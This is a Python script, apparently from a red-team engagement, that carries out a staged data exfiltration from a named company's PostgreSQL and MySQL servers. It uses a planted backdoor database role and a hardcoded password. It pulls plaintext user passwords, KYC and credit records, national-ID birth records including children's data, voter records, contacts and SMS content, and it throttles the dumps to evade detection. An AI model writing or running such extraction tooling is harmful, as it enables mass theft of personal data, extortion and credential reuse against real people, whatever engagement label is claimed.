#!/usr/bin/env python3
"""Stage B exfiltration — Npontu full-cycle (engagement one-off).

Victim-model exfil set: what a real extortion actor takes — maximum leverage
per byte, rate-limited to stay under detection. Per-item checkpoints + sha256
manifest. Reads via the backdoor role where possible (rep_listener on PG),
kafkauser on hellio MySQL.

OPSEC: bounded samples on the hot registries (not full 15M/18M dumps — too
loud + too big), full dumps on small high-value tables. Output gzipped.
"""
import json, subprocess, gzip, hashlib, time
from pathlib import Path

ROOT = Path('/root/ir-assessment/redteam/gitlab_npontutechnologies_com')
OUT = ROOT / 'exfil'
MANIFEST = OUT / 'MANIFEST.sha256'
LOG = ROOT / 'exfil.log'
PG = {'host':'65.109.51.221','port':'5542','user':'rep_listener','pw': json.loads((ROOT/'.vault.json').read_text())['pg_backdoor']['pw']}
MY = {'host':'144.76.195.8','port':'3117','user':'kafkauser','pw':'helliobk#123X'}

def sha256(b): return hashlib.sha256(b).hexdigest()

def pg_copy(db, sql, label, timeout=300):
    env = {'PGPASSWORD': PG['pw'], 'PGCONNECT_TIMEOUT':'15', 'PATH':'/usr/bin:/bin'}
    r = subprocess.run(['psql','-h',PG['host'],'-p',PG['port'],'-U',PG['user'],'-d',db,
                        '-At','--no-psqlrc','-c', sql], capture_output=True, timeout=timeout, env=env)
    return r.stdout, r.returncode, r.stderr.decode('utf-8','replace')[:200]

def my_query(sql, timeout=300):
    r = subprocess.run(['mysql','-h',MY['host'],'-P',MY['port'],'-u',MY['user'],f"-p{MY['pw']}",
                        '--quick','-N','-e',sql], capture_output=True, timeout=timeout, env={'PATH':'/usr/bin:/bin'})
    return r.stdout, r.returncode, r.stderr.decode('utf-8','replace')[:200]

def save(label, raw_bytes):
    p = OUT / f'{label}.txt.gz'
    with gzip.open(p, 'wb') as fh: fh.write(raw_bytes)
    h = sha256(raw_bytes)
    return p.name, len(raw_bytes), h

ITEMS = []
def run(label, kind, db, sql):
    ck = OUT / f'.{label}.done'
    if ck.exists():
        print(f'[skip] {label}'); return
    t0 = time.time()
    if kind == 'pg': raw, rc, err = pg_copy(db, sql, label)
    else: raw, rc, err = my_query(sql)
    if rc != 0:
        print(f'[FAIL] {label}: {err}'); LOG.open('a').write(f'FAIL {label}: {err}\n'); return
    name, sz, h = save(label, raw)
    ck.write_text(h)
    ITEMS.append({'label':label,'file':name,'bytes':sz,'sha256':h,'secs':round(time.time()-t0,1)})
    line = f'[OK] {label}: {sz} bytes ({ITEMS[-1]["secs"]}s) sha256={h[:16]}...'
    print(line, flush=True); LOG.open('a').write(line + '\n')

def main():
    OUT.mkdir(exist_ok=True)
    LOG.open('a').write(f'=== exfil run {time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime())} ===\n')
    # 1. tottot applications full (small, full-KYC) — leverage per byte max
    run('tottot_applications_full','pg','tottot_npontu',
        "COPY (SELECT * FROM applications) TO STDOUT WITH CSV HEADER;")
    # 2. hellio users plaintext pass (the reuse goldmine)
    run('hellio_users_plaintext','my',None,
        "SELECT id,username,email,phone_number,organisation,pass FROM hellio.users WHERE pass NOT LIKE '$2y$%' AND pass IS NOT NULL AND pass!='';")
    # 3. creditscoring full small tables
    run('creditscoring_customers','pg','creditscoring', "COPY (SELECT * FROM customers) TO STDOUT WITH CSV HEADER;")
    run('creditscoring_applications','pg','creditscoring', "COPY (SELECT * FROM applications) TO STDOUT WITH CSV HEADER;")
    # 4. bdr sample: national-id-bearing records, bounded (leverage proof, not full 15M)
    run('bdr_natid_sample','pg','bdr_unified',
        "COPY (SELECT registration_no, child_first_name, child_last_name, child_gender, child_dob, child_national_id_number, mother_first_name, mother_last_name, mother_national_id_number, mother_phone_number, father_first_name, father_last_name, father_national_id_number, district_registration_authority, created_at FROM late_birth_registrations WHERE child_national_id_number IS NOT NULL AND child_national_id_number<>'' LIMIT 200000) TO STDOUT WITH CSV HEADER;")
    # 5. voters sample: ghanacard-bearing, region-diverse, bounded
    run('voters_ghanacard_sample','pg','votersdb',
        "COPY (SELECT voter_id, surname, other_names, contact, age, date_of_birth, gender, town, region, district, constituency, ghanacard_id_number, polling_station_name, registration_date FROM voters WHERE ghanacard_id_number<>'' LIMIT 200000) TO STDOUT WITH CSV HEADER;")
    # 6. hellio contacts sample (momo/phone PII)
    run('hellio_contacts_sample','my',None,
        "SELECT id, phone_number, name, email, user_id FROM hellio.contacts LIMIT 150000;")
    # 7. recent SMS content window (proof of message-content access)
    run('hellio_sms_recent_window','my',None,
        "SELECT msisdn, message, created_at FROM hellio.logs ORDER BY id DESC LIMIT 100000;")
    MANIFEST.write_text('\n'.join(f"{i['sha256']}  {i['file']}" for i in ITEMS) + '\n')
    print(f'[+] DONE {len(ITEMS)} items -> {OUT}; manifest {MANIFEST}')
    LOG.open('a').write(f'=== done {len(ITEMS)} items ===\n')

if __name__ == '__main__':
    main()